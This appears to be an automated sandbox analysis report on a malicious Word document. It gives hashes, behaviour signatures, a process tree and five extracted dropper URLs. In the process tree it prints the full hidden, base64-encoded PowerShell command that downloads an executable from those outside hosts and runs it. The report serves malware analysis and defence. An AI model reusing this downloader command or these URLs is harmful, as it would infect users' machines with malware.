Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/11/2024, 10:41

General

  • Target

    4c3f330bfb74364b61ee132566a9e1ddef8c1b15b7465ca2afd03e6ec23db45f.doc

  • Size

    291KB

  • MD5

    a46d29710dd6382d57bd63956a70398c

  • SHA1

    2c2a7a24cb960cf6c681f49de8289b3c926052b3

  • SHA256

    4c3f330bfb74364b61ee132566a9e1ddef8c1b15b7465ca2afd03e6ec23db45f

  • SHA512

    66c718e7fe4cd762efa2c86392647b2db5f42a4c8bcb69110e1145a5bf85669d02281a25964780962eed24090cbf52a585e80010402e382978f1a1d088cd9e3e

  • SSDEEP

    6144:T0Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+Mq0XLswqqj2Ng+/HCxJtbGqFN:T0E3dxtR/iU9mvUPMqUsw32Ng+/HCxJt

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.besthelpinghand.com/wp-admin/tsh4/

exe.dropper

http://safari7.devitsandbox.com/error-log/wuuie/

exe.dropper

https://iconeprojetos.eng.br/wp-includes/rest-api/pkOOwDoI/

exe.dropper

http://hecquet.info/clickandbuilds/mV8Sn/

exe.dropper

http://trungcapduochanoi.info/wp-admin/w3pg1ny/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4c3f330bfb74364b61ee132566a9e1ddef8c1b15b7465ca2afd03e6ec23db45f.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2816
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABaAGYAZABoAHEAbAB6AGwAcgBrAD0AJwBVAGwAbgByAHIAcgBsAHcAYQB2AGcAbwAnADsAJABVAHcAaQBwAGgAdgB2AHYAZwBzAHkAIAA9ACAAJwA5ADIANAAnADsAJABOAHUAawB1AHoAYwBmAHMAYwBoAD0AJwBBAGwAYgBjAG0AZQB2AG4AawBpAGUAcABiACcAOwAkAFIAbgB4AGUAcQByAGgAbAB0AG4AbQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVQB3AGkAcABoAHYAdgB2AGcAcwB5ACsAJwAuAGUAeABlACcAOwAkAEoAZQB6AHAAagB0AGEAbAByAD0AJwBFAHIAcAB0AGwAagBmAHUAbABrAHkAJwA7ACQAUwB6AHEAeQByAHgAdgBqAHoAbwBpAD0ALgAoACcAbgBlACcAKwAnAHcAJwArACcALQBvAGIAagBlAGMAdAAnACkAIABuAGUAVAAuAHcARQBCAGMATABpAGUAbgB0ADsAJABWAHQAaQBjAGkAeABiAHkAawBkAHYAZAA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGIAZQBzAHQAaABlAGwAcABpAG4AZwBoAGEAbgBkAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB0AHMAaAA0AC8AKgBoAHQAdABwADoALwAvAHMAYQBmAGEAcgBpADcALgBkAGUAdgBpAHQAcwBhAG4AZABiAG8AeAAuAGMAbwBtAC8AZQByAHIAbwByAC0AbABvAGcALwB3AHUAdQBpAGUALwAqAGgAdAB0AHAAcwA6AC8ALwBpAGMAbwBuAGUAcAByAG8AagBlAHQAbwBzAC4AZQBuAGcALgBiAHIALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwByAGUAcwB0AC0AYQBwAGkALwBwAGsATwBPAHcARABvAEkALwAqAGgAdAB0AHAAOgAvAC8AaABlAGMAcQB1AGUAdAAuAGkAbgBmAG8ALwBjAGwAaQBjAGsAYQBuAGQAYgB1AGkAbABkAHMALwBtAFYAOABTAG4ALwAqAGgAdAB0AHAAOgAvAC8AdAByAHUAbgBnAGMAYQBwAGQAdQBvAGMAaABhAG4AbwBpAC4AaQBuAGYAbwAvAHcAcAAtAGEAZABtAGkAbgAvAHcAMwBwAGcAMQBuAHkALwAnAC4AIgBTAFAAbABgAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEoAYwBrAGIAZQBxAHYAdABtAHYAdgBvAD0AJwBDAGQAYQBhAGsAdgB4AHoAZAB4AHEAeAAnADsAZgBvAHIAZQBhAGMAaAAoACQAWABnAG8AcABkAHgAbgBlAGgAIABpAG4AIAAkAFYAdABpAGMAaQB4AGIAeQBrAGQAdgBkACkAewB0AHIAeQB7ACQAUwB6AHEAeQByAHgAdgBqAHoAbwBpAC4AIgBEAE8AdwBgAE4ATABPAGEARABmAGAAaQBsAGUAIgAoACQAWABnAG8AcABkAHgAbgBlAGgALAAgACQAUgBuAHgAZQBxAHIAaABsAHQAbgBtACkAOwAkAEcAYgB3AGsAbABnAGYAZwBpAHkAPQAnAE0AdgBzAHcAdABmAGgAcQAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAFIAbgB4AGUAcQByAGgAbAB0AG4AbQApAC4AIgBMAEUATgBgAEcAdABoACIAIAAtAGcAZQAgADIAMgA4ADcANwApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAQQBgAFIAdAAiACgAJABSAG4AeABlAHEAcgBoAGwAdABuAG0AKQA7ACQASwBvAHgAdgBqAHoAbQBsAGgAdgA9ACcASwB6AGsAYwB4AG4AdgB1AGIAdABqACcAOwBiAHIAZQBhAGsAOwAkAEgAZwBlAGsAcABkAGYAbwA9ACcAVwBuAGsAdgBnAHcAbgB6AGUAYQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAGkAYwBrAGQAaQB3AGoAcgA9ACcAUwBjAHQAaABhAHMAcwBmAHoAdQBuACcA
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3740

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD3E45.tmp\gb.xsl

    Filesize

    262KB

    MD5

    51d32ee5bc7ab811041f799652d26e04

    SHA1

    412193006aa3ef19e0a57e16acf86b830993024a

    SHA256

    6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

    SHA512

    5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nxji1qee.ijs.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

    Filesize

    2KB

    MD5

    fae6e6d0304a90d5b606fa929ead2c24

    SHA1

    1b114b56fddbe7fcc4b1c356e59b136c91f0315d

    SHA256

    809558d06e1caa1801deeb9bb5a2407fa5436548685b10acfb967520f3eeebc7

    SHA512

    78d881d90e0842a3d3873e67d77651bffb88e0d2aa51a483ca1c2b318c443d6669e6586afafdadcd4e94724aca2ed173186fd3c4bb1574d96bd9c11642756dbd

  • memory/2816-21-0x00007FFA32290000-0x00007FFA32485000-memory.dmp

    Filesize

    2.0MB

  • memory/2816-19-0x00007FF9F0010000-0x00007FF9F0020000-memory.dmp

    Filesize

    64KB

  • memory/2816-6-0x00007FFA32290000-0x00007FFA32485000-memory.dmp

    Filesize

    2.0MB

  • memory/2816-7-0x00007FF9F2310000-0x00007FF9F2320000-memory.dmp

    Filesize

    64KB

  • memory/2816-4-0x00007FFA32290000-0x00007FFA32485000-memory.dmp

    Filesize

    2.0MB

  • memory/2816-10-0x00007FFA32290000-0x00007FFA32485000-memory.dmp

    Filesize

    2.0MB

  • memory/2816-11-0x00007FFA32290000-0x00007FFA32485000-memory.dmp

    Filesize

    2.0MB

  • memory/2816-9-0x00007FFA32290000-0x00007FFA32485000-memory.dmp

    Filesize

    2.0MB

  • memory/2816-12-0x00007FF9F0010000-0x00007FF9F0020000-memory.dmp

    Filesize

    64KB

  • memory/2816-8-0x00007FFA32290000-0x00007FFA32485000-memory.dmp

    Filesize

    2.0MB

  • memory/2816-14-0x00007FFA32290000-0x00007FFA32485000-memory.dmp

    Filesize

    2.0MB

  • memory/2816-16-0x00007FFA32290000-0x00007FFA32485000-memory.dmp

    Filesize

    2.0MB

  • memory/2816-15-0x00007FFA32290000-0x00007FFA32485000-memory.dmp

    Filesize

    2.0MB

  • memory/2816-13-0x00007FFA32290000-0x00007FFA32485000-memory.dmp

    Filesize

    2.0MB

  • memory/2816-17-0x00007FFA32290000-0x00007FFA32485000-memory.dmp

    Filesize

    2.0MB

  • memory/2816-1-0x00007FFA3232D000-0x00007FFA3232E000-memory.dmp

    Filesize

    4KB

  • memory/2816-5-0x00007FF9F2310000-0x00007FF9F2320000-memory.dmp

    Filesize

    64KB

  • memory/2816-18-0x00007FFA32290000-0x00007FFA32485000-memory.dmp

    Filesize

    2.0MB

  • memory/2816-20-0x00007FFA32290000-0x00007FFA32485000-memory.dmp

    Filesize

    2.0MB

  • memory/2816-31-0x00007FFA32290000-0x00007FFA32485000-memory.dmp

    Filesize

    2.0MB

  • memory/2816-34-0x00007FFA32290000-0x00007FFA32485000-memory.dmp

    Filesize

    2.0MB

  • memory/2816-0-0x00007FF9F2310000-0x00007FF9F2320000-memory.dmp

    Filesize

    64KB

  • memory/2816-3-0x00007FF9F2310000-0x00007FF9F2320000-memory.dmp

    Filesize

    64KB

  • memory/2816-2-0x00007FF9F2310000-0x00007FF9F2320000-memory.dmp

    Filesize

    64KB

  • memory/2816-61-0x00007FFA32290000-0x00007FFA32485000-memory.dmp

    Filesize

    2.0MB

  • memory/2816-62-0x00007FFA3232D000-0x00007FFA3232E000-memory.dmp

    Filesize

    4KB

  • memory/2816-63-0x00007FFA32290000-0x00007FFA32485000-memory.dmp

    Filesize

    2.0MB

  • memory/2816-64-0x00007FFA32290000-0x00007FFA32485000-memory.dmp

    Filesize

    2.0MB

  • memory/2816-72-0x00007FFA32290000-0x00007FFA32485000-memory.dmp

    Filesize

    2.0MB

  • memory/2816-71-0x00007FFA32290000-0x00007FFA32485000-memory.dmp

    Filesize

    2.0MB

  • memory/3740-70-0x00007FFA32290000-0x00007FFA32485000-memory.dmp

    Filesize

    2.0MB

  • memory/3740-56-0x0000028E33690000-0x0000028E336B2000-memory.dmp

    Filesize

    136KB

  • memory/3740-50-0x00007FFA32290000-0x00007FFA32485000-memory.dmp

    Filesize

    2.0MB